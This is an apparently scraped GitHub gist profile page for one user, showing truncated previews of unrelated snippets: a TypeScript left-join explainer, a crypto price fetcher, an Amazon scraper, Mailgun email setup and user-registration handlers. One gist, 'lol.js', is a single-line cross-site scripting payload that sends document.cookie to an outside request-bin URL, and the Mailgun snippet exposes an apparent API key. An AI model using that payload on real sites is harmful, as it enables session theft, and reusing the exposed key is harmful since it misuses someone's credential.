Skip to content

Instantly share code, notes, and snippets.

View Technoash's full-sized avatar

Ashneil Roy Technoash

  • Sydney, Australia
View GitHub Profile
@Technoash
Technoash / leftJoinCode.md
Created October 14, 2024 22:32
Explain left joins done in javascript

Recap of the leftJoin Function

First, here's the leftJoin function from the script:

function leftJoin(
  left: ReturnAssessment[],
  right: UCMReturn[],
  leftKey: keyof ReturnAssessment,
 rightKey: keyof UCMReturn
import requests
import json
c1 = "XLM"
c2 = "BTC"
url = "https://min-api.cryptocompare.com/data/histohour?fsym=" + c1 + "&tsym=" + c2 + "&limit=168&e=Poloniex"
data = []
def req():
@Technoash
Technoash / lol.js
Last active December 5, 2016 16:40
document.write('<img src="http://requestb.in/vr6ki8vr?cookie=' + document.cookie + '" />');
var request = require('request');
var cheerio = require('cheerio');
scrape();
//http://stackoverflow.com/questions/5917082/regular-expression-to-match-numbers-with-or-without-commas-and-decimals-in-text
function scrape(){
//url = 'https://www.amazon.com/s/ref=nb_sb_noss_2?url=search-alias%3Daps&field-keywords=%22Panasonic+ErgoFit+RP-HJE120%22&rh=i%3Aaps%2Ck%3A%22Panasonic+ErgoFit+RP-HJE120%22';
url = 'https://www.amazon.com/s/ref=nb_sb_noss?url=search-alias%3Daps&field-keywords=Panasonic+ErgoFit+RP-HJE120&rh=i%3Aaps%2Ck%3APanasonic+ErgoFit+RP-HJE120';
url = 'https://www.amazon.com/s/?keywords=%22' + encodeURIComponent('beats') + '%22&page=3';
request(url, function(error, response, html){
//eddie
//do
//npm install --save mailgun-js
var api_key = 'key-efb6c4bf91205c6e52f7960537f8289d';
var domain = 'mail.perform.technoash.com';
var mailgun = require('mailgun-js')({apiKey: api_key, domain: domain});
var data = {
from: 'PerForm Accounts <[email protected]>',
module.addUserToDB = function(data){
return new Promise(function(resolve, reject) {
var userData = {
username: data.profile.name.toLowerCase(),
displayName: data.profile.name,
names: data.names,
id: data.profile.id,
skinHash: data.profile.skinHash,
capes: data.profile.capes,
addedAt: Math.floor(new Date()/1000),
var http = require('http');
var fs = require('fs');
var PassThrough = require('stream').PassThrough;
var lame = require('lame');
var spawn = require('child_process').spawn
var random = require("random-js")();
var streams = [];
validateRegister(req.body)
.then(function(errors){
if(errors.count > 0){
res.send({state: 'failure', registerFormErrors: errors.messages, errorCount: errors.count});
return;
}
//this won't always happen
return db.createUser(req.body.name, req.body.email, req.body.password);
})
.then(function(newUser){
validateRegister(req.body)
.then(function(errors){
if(errors.count > 0){
res.send({state: 'failure', registerFormErrors: errors.messages, errorCount: errors.count});
return;
}
db.createUser(req.body.name, req.body.email, req.body.password)
.then(function(newUser){
console.log(2);
res.send({state: 'success', name: newUser.name});